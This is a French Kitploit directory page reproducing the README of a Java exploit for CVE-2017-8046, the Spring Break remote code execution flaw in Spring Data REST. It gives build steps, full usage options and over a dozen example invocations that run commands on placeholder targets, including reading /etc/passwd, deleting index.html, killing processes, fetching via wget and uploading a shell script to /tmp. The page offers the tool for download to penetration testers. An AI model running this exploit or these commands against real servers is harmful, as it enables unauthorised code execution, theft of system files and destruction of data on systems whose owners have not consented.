Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
spring-break_cve-2017-8046 — Ceci est un programme Java qui exploite la vulnérabilité Spring Break (CVE-2017-8046). | Kitploit
Outils/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

Ceci est un programme Java qui exploite la vulnérabilité Spring Break (CVE-2017-8046).

Voir le dépôt
17119il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

spring-break_cve-2017-8046

Il s'agit d'un programme Java qui exploite la vulnérabilité Spring Break (CVE-2017-8046).

Ce logiciel est écrit pour avoir aussi peu de dépendances externes que possible.

AVERTISSEMENT

Cet outil est destiné aux ingénieurs en sécurité et aux spécialistes AppSec pour des évaluations de sécurité. Veuillez utiliser cet outil de manière responsable. Je n'assume aucune responsabilité quant à la manière dont quiconque utilise cette application. Je ne suis PAS responsable des dommages causés ou des crimes commis par l'utilisation de cet outil.

Informations sur la vulnérabilité

  • ID CVE : CVE-2017-8046
  • Lien : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • Description : Des requêtes PATCH malveillantes soumises aux serveurs spring-data-rest dans Pivotal Spring Data REST versions antérieures à 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions antérieures à 2.0.0M4, et les trains de versions Spring Data antérieurs à Kay-RC3 peuvent utiliser des données JSON spécialement conçues pour exécuter du code Java arbitraire.
  • Lien fournisseur : https://pivotal.io/security/cve-2017-8046

Comment générer un JAR exécutable

Voici quelques étapes à suivre afin de générer un JAR exécutable, avec toutes les dépendances incluses, pouvant être utilisé pour lancer l'exploit.

avec Maven

La commande Maven suivante peut être lancée :

mvn clean compile package

avec Eclipse

Les étapes suivantes peuvent être effectuées :

  1. résoudre toutes les dépendances/bibliothèques externes ;
  2. cliquer avec le bouton droit sur le projet Eclipse et aller dans Run As > Run Configurations ;
  3. cliquer avec le bouton droit sur Java Application puis sur New ;
  4. choisir un nom et définir la classe principale sur com.afs.exploit.spring.SpringBreakCve20178046 ;
  5. cliquer sur le bouton Apply ;
  6. fermer la fenêtre et revenir à la fenêtre principale d'Eclipse ;
  7. cliquer avec le bouton droit sur le projet Eclipse et cliquer sur Export... ;
  8. rechercher et choisir Runnable JAR file (sous la branche Java) ;
  9. dans la fenêtre suivante :
    1. choisir la bonne Launch configuration créée précédemment ;
    2. choisir une Export destination ;
    3. choisir l'option Extract required libraries into generated JAR ;
    4. cliquer sur le bouton Finish.

Aide

Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

Exemples

java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

Veuillez noter que la ressource/URL référencée doit exister !

Application vulnérable

Une application vulnérable peut être trouvée ici.

Auteurs

  • Antonio Francesco Sardella - implémentation principale - m3ssap0
  • Yassine Tioual - amélioration des en-têtes HTTP - nisay759
  • Robin Wagenaar - pour la suggestion d'utiliser l'opération de correctif « remove » au lieu de « replace » et pour la fonctionnalité de téléversement de fichiers - RobinWagenaar

Licence

Ce projet est sous licence Apache License Version 2.0 - voir le fichier LICENSE.txt pour plus de détails.

Remerciements

  • Man Yue Mo, le chercheur en sécurité qui a découvert la vulnérabilité
Télécharger l’outil